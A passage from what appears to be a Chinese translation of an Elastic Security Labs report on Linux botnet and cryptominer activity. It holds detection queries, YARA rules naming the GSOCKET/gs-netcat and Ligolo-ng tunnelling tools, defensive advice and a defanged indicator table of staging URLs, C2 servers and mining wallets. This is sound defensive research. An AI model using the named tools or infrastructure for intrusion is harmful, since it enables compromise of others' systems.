file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")
来自 /boot/ 中父可执行文件的可疑进程执行
已知诸如 KAIJI 和 XORDDOS 之类的恶意软件会将可执行文件放置在 /boot/
目录中,并利用这些文件建立持久性,同时尝试规避检测。
process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"
YARA
Elastic Security 创建了 YARA 规则来识别此活动。以下是用于识别自定义 Apache2
恶意软件的 YARA 规则
rule Linux_Trojan_Generic {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Trojan.Generic"
reference = "https://elastic.ac.cn/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
$enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
$enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
$enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
$key = "yyyyyyyy"
condition:
1 of ($enc*) and $key
}
为了检测 GSOCKET(包括其几个相邻工具),我们创建了以下签名
rule Multi_Hacktool_Gsocket {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-23"
os = "Linux, MacOS"
arch = "x86"
threat_name = "Multi.Hacktool.Gsocket"
reference = "https://elastic.ac.cn/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$str1 = "gsocket: gs_funcs not found"
$str2 = "/share/gsocket/gs_funcs"
$str3 = "$GSOCKET_ARGS"
$str4 = "GSOCKET_SECRET"
$str5 = "GS_HIJACK_PORTS"
$str6 = "sftp -D gs-netcat"
$str7 = "GS_NETCAT_BIN"
$str8 = "GSOCKET_NO_GREETINGS"
$str9 = "GS-NETCAT(1)"
$str10 = "GSOCKET_SOCKS_IP"
$str11 = "GSOCKET_SOCKS_PORT"
$str12 = "gsocket(1)"
$str13 = "gs-sftp(1)"
$str14 = "gs-mount(1)"
condition:
3 of them
}
最后,编写了以下签名来检测 开源 Ligolo-ng 工具,因为我们有理由相信此工具在此入侵期间被使用。
rule Linux_Hacktool_LigoloNG {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Hacktool.LigoloNG"
reference = "https://elastic.ac.cn/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$a = "https://github.com/nicocha30/ligolo-ng"
$b = "@Nicocha30!"
$c = "Ligolo-ng %s / %s / %s"
condition:
all of them
}
防御建议
为了有效防御恶意软件活动并最大程度地降低入侵风险,至关重要的是实施多层安全方法。以下是一些您应该优先考虑的关键防御措施
- 保持您的 Elastic 检测规则更新和启用:确保您的安全工具(包括任何预构建的检测规则)都是最新的。持续更新允许您的系统检测最新的恶意软件签名和行为。
- 在 Elastic Defend 中启用预防模式:将 Elastic Defend 配置为预防模式,以自动阻止已知的威胁,而不是仅对其发出警报。预防模式可确保主动防御恶意软件和漏洞。
- 监控警报和日志:定期监控警报、日志和服务器是否有任何可疑活动迹象。及早发现异常行为有助于防止小规模入侵升级为全面泄露。
- 进行威胁 Hunting:主动调查您的环境中可能已规避检测的隐藏威胁。威胁 Hunting 可以发现绕过传统安全措施的高级攻击和持久性恶意软件。
- 实施 Web 应用程序防火墙 (WAF):使用 WAF 来阻止未经授权或恶意流量。正确配置的防火墙可以阻止许多常见的 Web 攻击。
- 对 SSH 强制实施强身份验证:对 SSH 访问使用公钥/私钥身份验证,以防止暴力攻击。
- 编写安全代码:确保所有自定义软件(尤其是 Web 服务器技术)都遵循安全的编码实践。聘请专业安全审计员审查您的代码可以帮助在漏洞被利用之前识别并缓解它们。
- 定期修补和更新系统:保持服务器、应用程序和软件的最新状态对于防御已知漏洞至关重要。及时修补可以最大程度地降低被现成漏洞利用的目标的风险。
通过遵循这些建议,您可以显著减少攻击面,并加强对持续或潜在恶意软件威胁的防御。
观察结果
本研究讨论了以下可观察对象。这些对象可以以 STIX 或 ECS 格式从 此处 下载。
可观察对象 | 类型 | 名称 | 参考 |
---|---|---|---|
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256 | SystemdXC | XMRIG |
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256 | apache2 | apache2_unpacked |
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256 | apache2_upx_packed | apache2_upx_packed |
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256 | download.sh | KAIJI Stager |
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256 | linux_386 | KAIJI x86 |
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256 | linux_amd64 | KAIJI x64 |
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256 | linux_arm5 | KAIJI ARM5 |
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256 | linux_arm6 | KAIJI ARM6 |
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256 | linux_arm64 | KAIJI ARM64 |
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256 | linux_arm7 | KAIJI ARM7 |
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256 | linux_mips | KAIJI MIPS |
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256 | linux_mips64 | KAIJI MIPS64 |
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256 | linux_mips64el | KAIJI MIPS64 little-endian |
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256 | linux_mips_softfloat | KAIJI MIPS softfloat |
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256 | linux_mipsel | KAIJI MIPS little-endian |
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256 | linux_mipsel_softfloat | KAIJI MIPS little-endian softfloat |
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256 | linux_ppc64 | KAIJI PPC64 |
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256 | linux_ppc64el | KAIJI PPC64 little-endian |
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256 | l64_v0 | RUDEDEVIL/LUFICER x64 version 0 |
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256 | l64_v1 | RUDEDEVIL/LUFICER x64 version 1 |
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256 | l64_v2 | RUDEDEVIL/LUFICER x64 version 2 |
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256 | l64_v3 | RUDEDEVIL/LUFICER x64 版本 3 |
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256 | l86_v0 | RUDEDEVIL/LUFICER x86 版本 0 |
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256 | l86_v1 | RUDEDEVIL/LUFICER x86 版本 1 |
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256 | l86_v2 | RUDEDEVIL/LUFICER x86 版本 2 |
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256 | l86_v3 | RUDEDEVIL/LUFICER x86 版本 3 |
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256 | hjvhg.exe | 矿工 |
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256 | mvhhvcp3.exe | DONUT 加载器 |
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256 | vdfgb.exe | 矿工 |
http://gcp.pagaelrescate[.]com:8080/ifindyou | url | ifindyou.sh | 第一阶段 |
http://gcp.pagaelrescate[.]com:8080/cycnet | url | cycnet.sh | 第二阶段 |
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | url | Enviador_slot.py | 第三阶段 |
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | url | SystemdXC | XMRIG |
http://38.54.125[.]192:8080/nginx-rc | url | nginx-rc | LIGOLO-NG |
http://62.72.22[.]91/apache2 | url | apache2 | 自定义恶意软件 |
http://62.72.22[.]91/apache2v86 | url | apache2v86 | 自定义恶意软件 |
http://91.92.241[.]103:8002/gk.php | url | gk.php | PHP 后门 |
http://hfs.t1linux[.]com:7845/scdsshfk | url | scdsshfk | XMRIG |
gcp.pagaelrescate[.]com | 域名 | REF 托管域名 | |
nishabii[.]xyz | 域名 | RUDEDEVIL C2 | |
3.147.53[.]183 | ipv4-地址 | Python 反向 Shell C2 | |
38.54.125[.]192 | ipv4-地址 | C2 服务器 | |
107.178.101[.]245 | ipv4-地址 | 恶意软件文件服务器 (Rejetto) | |
62.72.22[.]91 | ipv4-地址 | 托管恶意软件的服务器 | |
91.92.241[.]103 | ipv4-地址 | C2 服务器 | |
61.160.194[.]160 | ipv4-地址 | 托管恶意软件的服务器 | |
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMR 钱包 | RUDEDEVIL/LUFICER 挖矿钱包 | |
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMR 钱包 | RUDEDEVIL/LUFICER 挖矿钱包 | |
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTC 钱包 | XMRIG 挖矿钱包 |
参考
以下内容在以上研究中被引用
- https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
- https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
- https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
- https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
- https://github.com/hackerschoice/gsocket